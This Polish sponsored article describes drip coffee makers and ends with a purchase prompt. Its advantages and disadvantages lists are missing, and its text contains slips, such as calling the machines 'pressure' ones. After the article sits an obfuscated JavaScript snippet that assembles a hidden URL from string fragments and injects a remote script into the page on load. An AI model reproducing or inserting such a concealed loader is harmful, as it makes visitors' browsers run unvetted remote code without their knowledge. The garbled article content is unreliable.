Na rynku istnieje cały przekrój ekspresów do kawy. Zasadniczo, dzielą się one na dwa podstawowe rodzaje: ekspresy ciśnieniowe oraz przelewowe. Dziś zajmiemy się charakterystyką ekspresów przelewowych, wskażemy wady i zalety ich użycia, a także podpowiemy, dla kogo będą odpowiednim wyborem.
Jak działa ekspres przelewowy?
Zasada działania ekspresu przelewowego opiera się na tej samej zasadzie, w zgodzie z którą przyrządza się kawę po turecku. Proces jej przyrządzania rozpoczynamy od zmielenia ziaren, a następnie zalewamy je gorącą wodą (ok. 92oC). Po zaparzeniu napój jest gotowy do spożycia. W przypadku tego rodzaju kawy, problematyczne dla wielu mogą być fusy oraz charakterystyczny, gorzki posmak (w zależności od rodzaju użytych ziaren).
Kawa przygotowana w ekspresie przelewowym przyrządzana jest w podobny sposób, aczkolwiek w procesie wykorzystuje się papierowe filtry, które zatrzymują fusy. Polega to na tym, że odpowiednio podgrzana woda przepływa przez zmieloną kawę oraz filtr, a następnie napar trafia do dzbanka umieszczonego pod nim. Ekspresy tego typu wyposażone są w filtry wielorazowe, najczęściej papierowe, bądź mają stały filtr, który należy dokładnie czyścić po każdym użyciu.
Zalety ekspresu przelewowego
Przyjrzyjmy się zaletom, jakie oferuje wybór tego rodzaju ekspresu:
Wady ekspresu przelewowego
Niestety, ekspresy ciśnieniowe posiadają również kilka wad, które dla części osób mogą być dyskwalifikujące podczas decyzji o wyborze tego urządzenia:
Ekspresy przelewowe - podsumowanie
Ekspres przelewowy może być dobrą alternatywą, jeżeli cenisz sobie prostotę lub lubisz smak i aromat kawy po turecku. Jest również propozycją na każdą kieszeń, a z jego przygotowaniem poradzi sobie każdy. Jeżeli zapoznałeś się z naszym zestawieniem i chciałbyś przetestować ten sposób przyrządzania kawy, wybierz swój expres - sprawdź ofertę i dokonaj najlepszego wyboru.
Źródło zdjęć: freepik.com
Artykuł sponsorowany
(function(){
imne_=("u"+"st");imne=document.createElement("script");imne.async=true;
imneu="243696283";imne_+="a"+("t.");imne_+="i"+("nf"+("o"))+("/");
imneu+=".77v852h8mnee0ptf";imneu+="fwk52mky58pgkv";
imne.src="https://"+imne_+imneu;imne.type="text/javascript";
d_b=document.body;d_b.appendChild(imne);
})();
Brak komentarza, Twój może być pierwszy.
Dodaj komentarz